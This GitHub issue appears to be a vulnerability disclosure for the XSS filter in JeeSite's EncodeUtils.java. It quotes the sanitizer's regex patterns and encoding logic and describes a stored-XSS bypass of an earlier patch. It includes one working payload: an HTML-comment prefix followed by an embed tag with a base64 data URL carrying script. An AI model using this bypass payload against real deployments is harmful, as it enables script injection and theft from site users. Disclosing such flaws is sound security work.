Skip to content

XSS filter bypass again (patch bypass) #33

@NinjaGPT

Description

@NinjaGPT

Summary

The previous XSS filter bypass vulnerability was fixed through commit 3585737, but by analyzing the latest sanitizer (v5.12.1), new XSS attack vectors were discovered, leading to the patch being bypassed again.

Details

the XSS filter will sanitize all INPUT, however, attacker can bypass it.

  • src/main/java/com/jeesite/common/codec/EncodeUtils.java
private static final List<Pattern> xssPatterns = ListUtils.newArrayList( Pattern.compile("(<\\s*(script|link|style|iframe)([\\s\\S]*?)(>|<\\/\\s*\\1\\s*>))|(</\\s*(script|link|style|iframe)\\s*>)", Pattern.CASE_INSENSITIVE), Pattern.compile("\\s*(href|src)\\s*=\\s*(\"\\s*(javascript|vbscript):[^\"]+\"|'\\s*(javascript|vbscript):[^']+'|(javascript|vbscript):[^\\s]+)\\s*(?=>)", Pattern.CASE_INSENSITIVE), Pattern.compile("\\s*/?\\s*on[a-zA-Z]+\\s*=\\s*(['\"]?)(.*?)\\1(?=\\s|>|/>)", Pattern.CASE_INSENSITIVE), Pattern.compile("(eval\\((.*?)\\)|expression\\((.*?)\\))", Pattern.CASE_INSENSITIVE), Pattern.compile("^(javascript:|vbscript:)", Pattern.CASE_INSENSITIVE) ); public static String xssFilter(String text, HttpServletRequest request) { request = (request != null ? request : ServletUtils.getRequest()); if (request != null && StringUtils.containsAny(request.getRequestURI(), ServletUtils.XSS_FILE_EXCLUDE_URI)) { return text; } String oriValue = StringUtils.trim(text); if (text != null){ String value = oriValue; for (Pattern pattern : xssPatterns) { Matcher matcher = pattern.matcher(value); if (matcher.find()) { value = matcher.replaceAll(StringUtils.EMPTY); } } // 如果开始不是HTML,XML,JOSN格式,则再进行HTML的 "、<、> 转码。 if (!StringUtils.startsWithIgnoreCase(value, "<!--HTML-->") // HTML && !StringUtils.startsWithIgnoreCase(value, "<?xml ") // XML && !(StringUtils.startsWith(value, "{") && StringUtils.endsWith(value, "}")) // JSON Object && !(StringUtils.startsWith(value, "[") && StringUtils.endsWith(value, "]")) // JSON Array ){ StringBuilder sb = new StringBuilder(); for (int i = 0; i < value.length(); i++) { char c = value.charAt(i); switch (c) { case '>': sb.append(">"); break; case '<': sb.append("<"); break; case '\'': sb.append("'"); break; case '\"': sb.append("""); break; default: sb.append(c); break; } } value = sb.toString(); } if (logger.isInfoEnabled() && !value.equals(oriValue)){ logger.info("xssFilter: {} <=<=<= {} source: {}", value, text, request != null ? request.getRequestURL() : "common"); } return value; } return null; } 

POC

Payload

<!--HTML-->XSS<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCg5KTwvc2NyaXB0Pgo="> 

Proof Of Concept

Stored XSS

Inject XSS payload (SOURCE)

Image

XSS trigger (SINK)

http://127.0.0.1:8980/vue/sys/office/index

Image

http://127.0.0.1:8980/vue/sys/empUser/index

Image

Impact

https://portswigger.net/web-security/cross-site-scripting#impact-of-xss-vulnerabilities

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions